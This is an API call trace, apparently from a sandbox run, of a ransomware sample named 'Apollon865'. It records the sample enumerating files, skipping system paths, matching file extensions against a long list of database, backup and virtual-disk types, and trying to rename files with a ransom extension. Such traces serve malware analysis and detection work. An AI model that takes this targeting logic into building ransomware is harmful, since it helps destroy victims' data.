	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="temp") returned -1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="pagefile.sys") returned -1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="boot") returned 1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="ids.txt") returned -1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="perflogs") returned -1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="MSBuild") returned -1
	[0061.382] lstrlenW (lpString="gadget.xml") returned 10
	[0061.382] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css") returned 71
	[0061.383] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0061.383] lstrlenW (lpString="gadget.xml") returned 10
	[0061.383] lstrlenW (lpString="Apollon865") returned 10
	[0061.383] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml.Apollon865") returned 89
	[0061.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0061.411] GetLastError () returned 0x5
	[0061.411] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 107
	[0061.412] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 107
	[0061.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0061.412] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2664
	[0061.412] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6b, lpOverlapped=0x0) returned 1
	[0061.412] CloseHandle (hObject=0xc0) returned 1
	[0061.412] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0061.412] CloseHandle (hObject=0x0) returned 0
	[0061.412] CloseHandle (hObject=0x0) returned 0
	[0061.412] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca85530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ca85530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.413] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.413] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0061.413] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0061.413] lstrlenW (lpString="js") returned 2
	[0061.413] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml") returned 78
	[0061.413] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="js" | out: lpString1="js") returned="js"
	[0061.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0061.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x5994e8
	[0061.413] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0061.413] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".") returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="..") returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="windows") returned -1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="bootmgr") returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="temp") returned -1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="pagefile.sys") returned 1
	[0061.413] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="boot") returned 1
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="ids.txt") returned 1
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="ntuser.dat") returned 1
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="perflogs") returned 1
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2="MSBuild") returned 1
	[0061.414] lstrlenW (lpString="picturePuzzle.html") returned 18
	[0061.414] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js") returned 70
	[0061.414] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="picturePuzzle.html" | out: lpString1="picturePuzzle.html") returned="picturePuzzle.html"
	[0061.414] lstrlenW (lpString="picturePuzzle.html") returned 18
	[0061.414] lstrlenW (lpString="Apollon865") returned 10
	[0061.414] lstrcmpiW (lpString1="uzzle.html", lpString2="Apollon865") returned 1
	[0061.414] lstrlenW (lpString=".dll") returned 4
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".dll") returned 1
	[0061.414] lstrlenW (lpString=".lnk") returned 4
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".lnk") returned 1
	[0061.414] lstrlenW (lpString=".ini") returned 4
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".ini") returned 1
	[0061.414] lstrlenW (lpString=".sys") returned 4
	[0061.414] lstrcmpiW (lpString1="picturePuzzle.html", lpString2=".sys") returned 1
	[0061.414] lstrlenW (lpString="picturePuzzle.html") returned 18
	[0061.414] lstrlenW (lpString="bak") returned 3
	[0061.414] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0061.414] lstrlenW (lpString="ba_") returned 3
	[0061.414] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0061.414] lstrlenW (lpString="dbb") returned 3
	[0061.414] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0061.414] lstrlenW (lpString="vmdk") returned 4
	[0061.414] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0061.414] lstrlenW (lpString="rar") returned 3
	[0061.414] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0061.414] lstrlenW (lpString="zip") returned 3
	[0061.414] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0061.414] lstrlenW (lpString="tgz") returned 3
	[0061.414] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0061.415] lstrlenW (lpString="vbox") returned 4
	[0061.415] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0061.415] lstrlenW (lpString="vdi") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0061.415] lstrlenW (lpString="vhd") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0061.415] lstrlenW (lpString="vhdx") returned 4
	[0061.415] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0061.415] lstrlenW (lpString="avhd") returned 4
	[0061.415] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0061.415] lstrlenW (lpString="db") returned 2
	[0061.415] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0061.415] lstrlenW (lpString="db2") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0061.415] lstrlenW (lpString="db3") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0061.415] lstrlenW (lpString="dbf") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0061.415] lstrlenW (lpString="mdf") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0061.415] lstrlenW (lpString="mdb") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0061.415] lstrlenW (lpString="sql") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0061.415] lstrlenW (lpString="sqlite") returned 6
	[0061.415] lstrcmpiW (lpString1="e.html", lpString2="sqlite") returned -1
	[0061.415] lstrlenW (lpString="sqlite3") returned 7
	[0061.415] lstrcmpiW (lpString1="le.html", lpString2="sqlite3") returned -1
	[0061.415] lstrlenW (lpString="sqlitedb") returned 8
	[0061.415] lstrcmpiW (lpString1="zle.html", lpString2="sqlitedb") returned 1
	[0061.415] lstrlenW (lpString="xml") returned 3
	[0061.415] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0061.415] lstrlenW (lpString="$er") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0061.416] lstrlenW (lpString="4dd") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0061.416] lstrlenW (lpString="4dl") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0061.416] lstrlenW (lpString="^^^") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0061.416] lstrlenW (lpString="abs") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0061.416] lstrlenW (lpString="abx") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0061.416] lstrlenW (lpString="accdb") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0061.416] lstrlenW (lpString="accdc") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0061.416] lstrlenW (lpString="accde") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0061.416] lstrlenW (lpString="accdr") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0061.416] lstrlenW (lpString="accdt") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0061.416] lstrlenW (lpString="accdw") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0061.416] lstrlenW (lpString="accft") returned 5
	[0061.416] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0061.416] lstrlenW (lpString="adb") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.416] lstrlenW (lpString="adb") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.416] lstrlenW (lpString="ade") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0061.416] lstrlenW (lpString="adf") returned 3
	[0061.416] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0061.416] lstrlenW (lpString="adn") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0061.417] lstrlenW (lpString="adp") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0061.417] lstrlenW (lpString="alf") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0061.417] lstrlenW (lpString="ask") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0061.417] lstrlenW (lpString="btr") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0061.417] lstrlenW (lpString="cat") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0061.417] lstrlenW (lpString="cdb") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0061.417] lstrlenW (lpString="ckp") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0061.417] lstrlenW (lpString="cma") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0061.417] lstrlenW (lpString="cpd") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0061.417] lstrlenW (lpString="dacpac") returned 6
	[0061.417] lstrcmpiW (lpString1="e.html", lpString2="dacpac") returned 1
	[0061.417] lstrlenW (lpString="dad") returned 3
	[0061.417] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0061.417] lstrlenW (lpString="dadiagrams") returned 10
	[0061.417] lstrcmpiW (lpString1="uzzle.html", lpString2="dadiagrams") returned 1
	[0061.417] lstrlenW (lpString="daschema") returned 8
	[0061.417] lstrcmpiW (lpString1="zle.html", lpString2="daschema") returned 1
	[0061.417] lstrlenW (lpString="db-journal") returned 10
	[0061.417] lstrcmpiW (lpString1="uzzle.html", lpString2="db-journal") returned 1
	[0061.417] lstrlenW (lpString="db-shm") returned 6
	[0061.417] lstrcmpiW (lpString1="e.html", lpString2="db-shm") returned 1
	[0061.417] lstrlenW (lpString="db-wal") returned 6
	[0061.417] lstrcmpiW (lpString1="e.html", lpString2="db-wal") returned 1
	[0061.417] lstrlenW (lpString="dbc") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0061.418] lstrlenW (lpString="dbs") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0061.418] lstrlenW (lpString="dbt") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0061.418] lstrlenW (lpString="dbv") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0061.418] lstrlenW (lpString="dbx") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0061.418] lstrlenW (lpString="dcb") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0061.418] lstrlenW (lpString="dct") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0061.418] lstrlenW (lpString="dcx") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0061.418] lstrlenW (lpString="ddl") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0061.418] lstrlenW (lpString="dlis") returned 4
	[0061.418] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0061.418] lstrlenW (lpString="dp1") returned 3
	[0061.418] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0061.419] lstrlenW (lpString="dqy") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0061.419] lstrlenW (lpString="dsk") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0061.419] lstrlenW (lpString="dsn") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0061.419] lstrlenW (lpString="dtsx") returned 4
	[0061.419] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0061.419] lstrlenW (lpString="dxl") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0061.419] lstrlenW (lpString="eco") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0061.419] lstrlenW (lpString="ecx") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0061.419] lstrlenW (lpString="edb") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0061.419] lstrlenW (lpString="epim") returned 4
	[0061.419] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0061.419] lstrlenW (lpString="fcd") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0061.419] lstrlenW (lpString="fdb") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0061.419] lstrlenW (lpString="fic") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0061.419] lstrlenW (lpString="flexolibrary") returned 12
	[0061.419] lstrcmpiW (lpString1="ePuzzle.html", lpString2="flexolibrary") returned -1
	[0061.419] lstrlenW (lpString="fm5") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0061.419] lstrlenW (lpString="fmp") returned 3
	[0061.419] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0061.419] lstrlenW (lpString="fmp12") returned 5
	[0061.419] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0061.419] lstrlenW (lpString="fmpsl") returned 5
	[0061.419] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0061.419] lstrlenW (lpString="fol") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0061.420] lstrlenW (lpString="fp3") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0061.420] lstrlenW (lpString="fp4") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0061.420] lstrlenW (lpString="fp5") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0061.420] lstrlenW (lpString="fp7") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0061.420] lstrlenW (lpString="fpt") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0061.420] lstrlenW (lpString="frm") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0061.420] lstrlenW (lpString="gdb") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0061.420] lstrlenW (lpString="gdb") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0061.420] lstrlenW (lpString="grdb") returned 4
	[0061.420] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0061.420] lstrlenW (lpString="gwi") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0061.420] lstrlenW (lpString="hdb") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0061.420] lstrlenW (lpString="his") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0061.420] lstrlenW (lpString="ib") returned 2
	[0061.420] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0061.420] lstrlenW (lpString="idb") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0061.420] lstrlenW (lpString="ihx") returned 3
	[0061.420] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0061.420] lstrlenW (lpString="itdb") returned 4
	[0061.420] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0061.420] lstrlenW (lpString="itw") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0061.421] lstrlenW (lpString="jet") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0061.421] lstrlenW (lpString="jtx") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0061.421] lstrlenW (lpString="kdb") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0061.421] lstrlenW (lpString="kexi") returned 4
	[0061.421] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0061.421] lstrlenW (lpString="kexic") returned 5
	[0061.421] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0061.421] lstrlenW (lpString="kexis") returned 5
	[0061.421] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0061.421] lstrlenW (lpString="lgc") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0061.421] lstrlenW (lpString="lwx") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0061.421] lstrlenW (lpString="maf") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0061.421] lstrlenW (lpString="maq") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0061.421] lstrlenW (lpString="mar") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0061.421] lstrlenW (lpString="marshal") returned 7
	[0061.421] lstrcmpiW (lpString1="le.html", lpString2="marshal") returned -1
	[0061.421] lstrlenW (lpString="mas") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0061.421] lstrlenW (lpString="mav") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0061.421] lstrlenW (lpString="maw") returned 3
	[0061.421] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0061.421] lstrlenW (lpString="mdbhtml") returned 7
	[0061.421] lstrcmpiW (lpString1="le.html", lpString2="mdbhtml") returned -1
	[0061.422] lstrlenW (lpString="mdn") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0061.422] lstrlenW (lpString="mdt") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0061.422] lstrlenW (lpString="mfd") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0061.422] lstrlenW (lpString="mpd") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0061.422] lstrlenW (lpString="mrg") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0061.422] lstrlenW (lpString="mud") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0061.422] lstrlenW (lpString="mwb") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0061.422] lstrlenW (lpString="myd") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0061.422] lstrlenW (lpString="ndf") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0061.422] lstrlenW (lpString="nnt") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0061.422] lstrlenW (lpString="nrmlib") returned 6
	[0061.422] lstrcmpiW (lpString1="e.html", lpString2="nrmlib") returned -1
	[0061.422] lstrlenW (lpString="ns2") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0061.422] lstrlenW (lpString="ns3") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0061.422] lstrlenW (lpString="ns4") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0061.422] lstrlenW (lpString="nsf") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0061.422] lstrlenW (lpString="nv") returned 2
	[0061.422] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0061.422] lstrlenW (lpString="nv2") returned 3
	[0061.422] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0061.423] lstrlenW (lpString="nwdb") returned 4
	[0061.423] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0061.423] lstrlenW (lpString="nyf") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0061.423] lstrlenW (lpString="odb") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0061.423] lstrlenW (lpString="odb") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0061.423] lstrlenW (lpString="oqy") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0061.423] lstrlenW (lpString="ora") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0061.423] lstrlenW (lpString="orx") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0061.423] lstrlenW (lpString="owc") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0061.423] lstrlenW (lpString="p96") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0061.423] lstrlenW (lpString="p97") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0061.423] lstrlenW (lpString="pan") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0061.423] lstrlenW (lpString="pdb") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0061.423] lstrlenW (lpString="pdm") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0061.423] lstrlenW (lpString="pnz") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0061.423] lstrlenW (lpString="qry") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0061.423] lstrlenW (lpString="qvd") returned 3
	[0061.423] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
